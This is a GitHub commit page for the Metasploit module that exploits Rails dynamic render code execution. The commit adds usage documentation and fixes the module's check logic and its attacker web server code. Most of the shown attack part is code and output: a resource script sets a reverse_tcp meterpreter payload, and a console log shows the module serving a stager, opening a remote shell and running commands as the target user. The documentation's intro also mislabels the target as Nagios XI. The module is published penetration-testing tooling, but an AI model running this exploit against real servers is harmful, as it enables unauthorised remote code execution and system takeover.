Skip to content

Commit f2252bb

Browse files
stevenseeleystevenseeley
committed
fixed a few things, thanks @h00die 
1 parent 3c3f424 commit f2252bb

File tree

2 files changed

+90
-56
lines changed

2 files changed

+90
-56
lines changed

‎documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
## Intro
2+
3+
Nagios XI is the enterprise version of Nagios, the monitoring software we love
4+
and hate.
5+
6+
Rails is, well, rails.
7+
8+
> This module exploits the rendering vulnerability via a temporary file upload to pop a shell.
9+
10+
## Setup
11+
12+
**Download and setup the sample vuln application:**
13+
14+
- [ ] `sudo apt-get install -y curl git`
15+
- [ ] `curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1`
16+
- [ ] `source ~/.rvm/scripts/rvm`
17+
- [ ] `sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y`
18+
- [ ] `gem install rails -v 4.0.8`
19+
- [ ] `git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn`
20+
- [ ] `cd pwn`
21+
- [ ] `bundle install`
22+
- [ ] Edit the config/routes.rb file and add `post "users/:id", to: 'user#show'`
23+
24+
Basically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module.
25+
26+
- [ ] `rails s -b 0.0.0.0` or `rails s -b 0.0.0.0 -e production`
27+
28+
## Usage
29+
30+
### Typical Usage
31+
32+
Just set ```RHOST``` and fire off the module! It's pretty much painless.
33+
```set VERBOSE true``` if you want to see details.
34+
35+
```
36+
saturn:metasploit-framework mr_me$ cat scripts/rails.rc
37+
use exploit/multi/http/rails_dynamic_render_code_exec
38+
set RHOST 172.16.175.251
39+
set payload linux/x86/meterpreter/reverse_tcp
40+
set LHOST 172.16.175.1
41+
check
42+
exploit
43+
44+
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc
45+
[*] Processing scripts/rails.rc for ERB directives.
46+
resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
47+
resource (scripts/rails.rc)> set RHOST 172.16.175.251
48+
RHOST => 172.16.175.251
49+
resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
50+
payload => linux/x86/meterpreter/reverse_tcp
51+
resource (scripts/rails.rc)> set LHOST 172.16.175.1
52+
LHOST => 172.16.175.1
53+
resource (scripts/rails.rc)> check
54+
[+] 172.16.175.251:3000 The target is vulnerable.
55+
resource (scripts/rails.rc)> exploit
56+
[*] Exploit running as background job.
57+
[*] Started reverse TCP handler on 172.16.175.1:4444
58+
59+
[*] Sending initial request to detect exploitability
60+
msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
61+
[*] Using URL: http://0.0.0.0:1337/iUDaRVpz
62+
[*] Local IP: http://192.168.100.13:1337/iUDaRVpz
63+
[*] uploading image...
64+
[+] injected payload
65+
[*] 172.16.175.251:3000 - Sending the payload to the server...
66+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
67+
[*] Sending stage (1495599 bytes) to 172.16.175.251
68+
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
69+
[+] Deleted /tmp/NhhGKCCIgwF
70+
71+
msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
72+
[*] Starting interaction with 1...
73+
74+
meterpreter > shell
75+
Process 50809 created.
76+
Channel 1 created.
77+
$ id
78+
uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
79+
$
80+
```

‎modules/exploits/multi/http/rails_dynamic_render_code_exec.rb

Lines changed: 10 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,7 @@ def check
7171
'method' => 'GET',
7272
}, 60)
7373

74-
# if the page controller is dynamically rendering, its probably vuln
74+
# if the page controller is dynamically rendering, its for sure vuln
7575
if res and res.body =~ /render params/
7676
return Exploit::CheckCode::Vulnerable
7777
end
@@ -84,9 +84,8 @@ def check
8484

8585
# maybe its exploitable
8686
if res and res.body =~ /ruby/
87-
return Exploit::CheckCode::Vulnerable
87+
return Exploit::CheckCode::Appears
8888
end
89-
9089
return Exploit::CheckCode::Safe
9190
end
9291

@@ -154,18 +153,19 @@ def start_http_server
154153
@elf_sent = false
155154
downfile = rand_text_alpha(8+rand(8))
156155
resource_uri = '/' + downfile
157-
158-
# do not use SSL for the attacking web server
159-
if datastore['SSL']
160-
ssl_restore = true
161-
datastore['SSL'] = false
162-
end
163156
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
164157
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
165158
else
166159
srv_host = datastore['SRVHOST']
167160
end
168-
@service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
161+
162+
# do not use SSL for the attacking web server
163+
if datastore['SSL']
164+
ssl_restore = true
165+
datastore['SSL'] = false
166+
end
167+
168+
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
169169
service_url_payload = srv_host + resource_uri
170170
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
171171
start_service({'Uri' => {
@@ -198,49 +198,3 @@ def exploit
198198
end
199199
end
200200
end
201-
202-
=begin
203-
saturn:metasploit-framework mr_me$ cat scripts/rails.rc
204-
use exploit/multi/http/rails_dynamic_render_code_exec
205-
set RHOST 172.16.175.251
206-
set payload linux/x86/meterpreter/reverse_tcp
207-
set LHOST 172.16.175.1
208-
check
209-
exploit
210-
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc
211-
[*] Processing scripts/rails.rc for ERB directives.
212-
resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
213-
resource (scripts/rails.rc)> set RHOST 172.16.175.251
214-
RHOST => 172.16.175.251
215-
resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
216-
payload => linux/x86/meterpreter/reverse_tcp
217-
resource (scripts/rails.rc)> set LHOST 172.16.175.1
218-
LHOST => 172.16.175.1
219-
resource (scripts/rails.rc)> check
220-
[+] 172.16.175.251:3000 The target is vulnerable.
221-
resource (scripts/rails.rc)> exploit
222-
[*] Exploit running as background job.
223-
[*] Started reverse TCP handler on 172.16.175.1:4444
224-
225-
[*] Sending initial request to detect exploitability
226-
msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
227-
[*] Using URL: http://0.0.0.0:1337/iUDaRVpz
228-
[*] Local IP: http://192.168.100.13:1337/iUDaRVpz
229-
[*] uploading image...
230-
[+] injected payload
231-
[*] 172.16.175.251:3000 - Sending the payload to the server...
232-
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
233-
[*] Sending stage (1495599 bytes) to 172.16.175.251
234-
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
235-
[+] Deleted /tmp/NhhGKCCIgwF
236-
237-
msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
238-
[*] Starting interaction with 1...
239-
240-
meterpreter > shell
241-
Process 50809 created.
242-
Channel 1 created.
243-
$ id
244-
uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
245-
$
246-
=end

0 commit comments

Comments
 (0)